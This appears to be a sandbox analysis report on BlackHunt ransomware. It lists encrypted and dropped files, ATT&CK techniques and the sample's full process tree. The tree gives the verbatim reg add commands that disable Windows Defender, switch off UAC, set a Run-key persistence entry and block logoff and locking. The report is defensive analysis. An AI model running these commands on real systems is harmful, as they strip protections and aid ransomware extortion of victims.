File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text_3.5.300.v20130515-1451.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macTSFrame.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\#BlackHunt_ReadMe.txt	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_left.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Khandyga	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_zh_4.4.0.v20140623020002.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_leftarrow.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_PreComp_MATTE_PAL.wmv	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Port-au-Prince	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluTSFrame.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director_2.3.100.v20140224-1921.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\rtstreamsource.ax	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cambridge_Bay	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Esl\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.properties	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\Java\jre7\lib\management\#BlackHunt_ReadMe.hta	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_ReadMe.txt	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047x576black.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#BlackHunt_ReadMe.hta	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt_3.103.1.v20140903-1938.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.hta	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\#BlackHunt_ReadMe.hta	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref_PAL.wmv	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Chita	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\license.html	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jce.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Miquelon	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Hebron	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1824	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1972	vssadmin.exe
1224	vssadmin.exe
892	vssadmin.exe
1608	vssadmin.exe
1896	vssadmin.exe
3632	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3936	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2980	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4008	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Token: SeRestorePrivilege	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Token: SeBackupPrivilege	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Token: SeTakeOwnershipPrivilege	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Token: SeAuditPrivilege	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Token: SeSecurityPrivilege	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Token: SeIncBasePriorityPrivilege	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Token: SeBackupPrivilege	3064	vssvc.exe
Token: SeRestorePrivilege	3064	vssvc.exe
Token: SeAuditPrivilege	3064	vssvc.exe
Token: SeBackupPrivilege	3144	wbengine.exe
Token: SeRestorePrivilege	3144	wbengine.exe
Token: SeSecurityPrivilege	3144	wbengine.exe
Token: SeSecurityPrivilege	3584	wevtutil.exe
Token: SeBackupPrivilege	3584	wevtutil.exe
Token: SeSecurityPrivilege	3648	wevtutil.exe
Token: SeBackupPrivilege	3648	wevtutil.exe
Token: SeSecurityPrivilege	3488	wevtutil.exe
Token: SeBackupPrivilege	3488	wevtutil.exe
Token: SeSecurityPrivilege	3728	wevtutil.exe
Token: SeSecurityPrivilege	3568	wevtutil.exe
Token: SeBackupPrivilege	3728	wevtutil.exe
Token: SeBackupPrivilege	3568	wevtutil.exe
Token: SeDebugPrivilege	3936	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 3064	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	29
PID 1404 wrote to memory of 3064	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	29
PID 1404 wrote to memory of 3064	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	29
PID 1404 wrote to memory of 3064	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	29
PID 1404 wrote to memory of 2164	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	31
PID 1404 wrote to memory of 2164	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	31
PID 1404 wrote to memory of 2164	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	31
PID 1404 wrote to memory of 2164	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	31
PID 1404 wrote to memory of 3056	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	126
PID 1404 wrote to memory of 3056	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	126
PID 1404 wrote to memory of 3056	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	126
PID 1404 wrote to memory of 3056	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	126
PID 3064 wrote to memory of 3028	3064	vssvc.exe	34
PID 3064 wrote to memory of 3028	3064	vssvc.exe	34
PID 3064 wrote to memory of 3028	3064	vssvc.exe	34
PID 1404 wrote to memory of 884	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	35
PID 1404 wrote to memory of 884	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	35
PID 1404 wrote to memory of 884	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	35
PID 1404 wrote to memory of 884	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	35
PID 2164 wrote to memory of 2748	2164	cmd.exe	36
PID 2164 wrote to memory of 2748	2164	cmd.exe	36
PID 2164 wrote to memory of 2748	2164	cmd.exe	36
PID 1404 wrote to memory of 2664	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	37
PID 1404 wrote to memory of 2664	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	37
PID 1404 wrote to memory of 2664	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	37
PID 1404 wrote to memory of 2664	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	37
PID 1404 wrote to memory of 2700	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	40
PID 1404 wrote to memory of 2700	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	40
PID 1404 wrote to memory of 2700	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	40
PID 1404 wrote to memory of 2700	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	40
PID 1404 wrote to memory of 2856	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	43
PID 1404 wrote to memory of 2856	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	43
PID 1404 wrote to memory of 2856	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	43
PID 1404 wrote to memory of 2856	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	43
PID 1404 wrote to memory of 2724	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	44
PID 1404 wrote to memory of 2724	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	44
PID 1404 wrote to memory of 2724	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	44
PID 1404 wrote to memory of 2724	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	44
PID 1404 wrote to memory of 2720	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	47
PID 1404 wrote to memory of 2720	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	47
PID 1404 wrote to memory of 2720	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	47
PID 1404 wrote to memory of 2720	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	47
PID 2664 wrote to memory of 2760	2664	cmd.exe	48
PID 2664 wrote to memory of 2760	2664	cmd.exe	48
PID 2664 wrote to memory of 2760	2664	cmd.exe	48
PID 3056 wrote to memory of 2620	3056	conhost.exe	49
PID 3056 wrote to memory of 2620	3056	conhost.exe	49
PID 3056 wrote to memory of 2620	3056	conhost.exe	49
PID 884 wrote to memory of 2768	884	cmd.exe	50
PID 884 wrote to memory of 2768	884	cmd.exe	50
PID 884 wrote to memory of 2768	884	cmd.exe	50
PID 1404 wrote to memory of 2484	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	51
PID 1404 wrote to memory of 2484	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	51
PID 1404 wrote to memory of 2484	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	51
PID 1404 wrote to memory of 2484	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	51
PID 1404 wrote to memory of 2744	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	53
PID 1404 wrote to memory of 2744	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	53
PID 1404 wrote to memory of 2744	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	53
PID 1404 wrote to memory of 2744	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	53
PID 1404 wrote to memory of 2596	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	54
PID 1404 wrote to memory of 2596	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	54
PID 1404 wrote to memory of 2596	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	54
PID 1404 wrote to memory of 2596	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	54
PID 1404 wrote to memory of 2456	1404	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
"C:\Users\Admin\AppData\Local\Temp\67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
